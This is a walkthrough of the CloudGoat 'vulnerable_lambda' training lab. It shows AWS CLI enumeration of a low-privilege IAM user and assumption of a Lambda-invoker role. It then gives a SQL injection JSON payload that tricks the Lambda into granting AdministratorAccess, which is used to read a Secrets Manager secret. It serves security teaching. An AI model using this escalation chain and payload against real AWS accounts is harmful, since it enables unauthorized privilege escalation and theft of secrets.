- Cloud Security Club
- Posts
- CloudGoat Vulnerable Lambda Walkthrough
CloudGoat Vulnerable Lambda Walkthrough
In this CloudGoat Vulnerable Lambda walkthrough, we will explore IAM privilege escalation by exploiting custom Lambda function logic and retrieving secrets from the AWS Secrets Manager.
If you prefer watching this post as a YouTube video, here you go:
Challenge Description
You start as the ‘bilbo’ user in this scenario. You will assume a role with more privileges, discover a lambda function that applies policies to users, and exploit a vulnerability in the function to escalate the privileges of the bilbo user to search for secrets.
Use ./cloudgoat.py create vulnerable_lambda
to create the scenario.
Link: https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/scenarios/vulnerable_lambda
Scenario Goal
Find the scenario’s secret. (cg-secret-XXXXXX-XXXXXX)
Solution
After creating the scenario, IAM user bilbo’s credentials are stored in the start.txt
file in the vulnerable_lambda*
folder. Use these credentials to configure the profile for bilbo
.
cat vulnerable_lambda_cgidr2hk6ccycu/start.txt; aws configure --profile bilbo
Let’s start by viewing the details of the IAM user ‘bilbo’ using sts:GetCallerIdentity
.
aws --profile bilbo sts get-caller-identity
Listing the IAM groups shows that the user ‘bilbo’ does not belong to any group.
aws --profile bilbo iam list-groups-for-user --user-name cg-bilbo-vulnerable_lambda_cgidr2hk6ccycu
There are no managed policies are attached to the user as well.
aws --profile bilbo iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidr2hk6ccycu
Finally, we find an inline policy attached.
aws --profile bilbo iam list-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidr2hk6ccycu
Let’s retrieve the inline policy document using iam:GetUserPolicy
.
aws --profile bilbo iam get-user-policy --user-name cg-bilbo-vulnerable_lambda_cgidr2hk6ccycu --policy-name cg-bilbo-vulnerable_lambda_cgidr2hk6ccycu-standard-user-assumer
The above policy document contains two policy statements that define the permissions for the user ‘bilbo’:
The user can assume any role with an ARN prefix matching
cg-lambda-invoker
.The user can perform
SimulatePrincipalPolicy
,SimulateCustomPolicy
, and IAM actions that start withGet
andList
.
Try listing the roles to see if there is any role with the prefix “cg-lambda-invoker”.
aws --profile bilbo iam list-roles | grep 'cg-lambda-invoker'
Based on the policies permitting the user’s sts:AssumeRole
action, attempt to assume the cg-lambda-invoker
role.
aws --profile bilbo sts assume-role --role-arn RoleARN --role-session-name bilboSession
Assuming the role provides credentials that enable the user ‘bilbo’ to operate with the permissions defined by that role. Set these access keys and the session token to configure the profile bilboSession
.
Next, attempt to list the role policies for the assumed role.
aws --profile bilboSession iam list-role-policies --role-name cg-lambda-invoker-vulnerable_lambda_cgidr2hk6ccycu
We see one inline policy lambda-invoker
attached with the assumed role. Let’s attempt to retrieve the policy document for the listed policy.
aws --profile bilboSession iam get-role-policy --role-name cg-lambda-invoker-vulnerable_lambda_cgidr2hk6ccycu --policy-name lambda-invoker
The policy document also contains two policy statements:
The user assuming the role is permitted to perform five lambda actions:
list-function-event-invoke-configs
,invoke-function
,list-tags
,get-function
,get-policy
on the lambda function namedvulnerable_lambda_cgidr2hk6ccycu-policy_applier_lambda1
.It allows the user to assume the role of listing lambda functions,
iam:SimulateCustomPolicy
,iam:SimulatePrincipalPolicy
, and IAM actions starting withGet
andList
.
Let’s list the Lambda functions accessible to the user as the assumed role grants permission for the lambda:ListFunctions
action.
aws --profile bilboSession lambda list-functions
The description of this function indicates that it will apply a managed policy to the user of our choice. Retrieve the function using lambda:GetFunction
.
aws --profile bilboSession lambda get-function --function-name vulnerable_lambda_cgidr2hk6ccycu-policy_applier_lambda1
The Location field in the above output contains the URL to the deployment package of the lambda function. This URL leads to a zip file containing the source code, including dependencies, for the lambda. It also indicates the location of the handler function, which is the main.handler
.
ls -l -g -o --color=auto vulnerable_lambda_cgidr2hk6ccycu-policy_applier_lambda1
The file main.py
contains the code to add managed policies to any IAM user passed in the JSON input.
cat vulnerable_lambda_cgidr2hk6ccycu-policy_applier_lambda1/main.py
If you look carefully, the code parses the input to extract the policy names’ values and constructs a SQL query without sanitizing it, making it vulnerable to SQL injection.
The database contains a list of allowed policies. SQLite3 can be utilized to interact with my_database.db, revealing that ‘AdministratorAccess’ is not an approved policy, as it is marked as not public.
sqlite3 vulnerable_lambda_cgidr2hk6ccycu-policy_applier_lambda1/my_database.db
To obtain the ‘AdministratorAccess‘ policy, craft a SQL injection payload and invoke the lambda function. The JSON payload would be:
{
"policy_names": [
"AdministratorAccess' --"
],
"user_name": "cg-bilbo-vulnerable_lambda_cgidr2hk6ccycu"
}
--
will comment out the public=True
section, causing the lambda function to apply the “AdministratorAccess” policy to the user. Now, pass this payload as base64 encoded in the command.
The output confirms that the policy was successfully applied. We can be verify it using iam:ListAttachedUserPolicies
.
aws --profile bilbo iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidr2hk6ccycu
Now that our bilbo user has been granted the “AdministratorAccess” policy, let’s try to achieve the scenario’s goal of finding the secrets.
Attempting to list secrets from the Secrets Manager:
aws --profile bilbo secretsmanager list-secrets
Utilize secretsmanager:GetSecretValue
to retrieve the value of the secret string.
aws --profile bilbo secretsmanager get-secret-value --secret-id <arn>
The value of the SecretString is “cg-secret-846237-284529,” and with this, we complete the Cloudgoat scenario.
Reply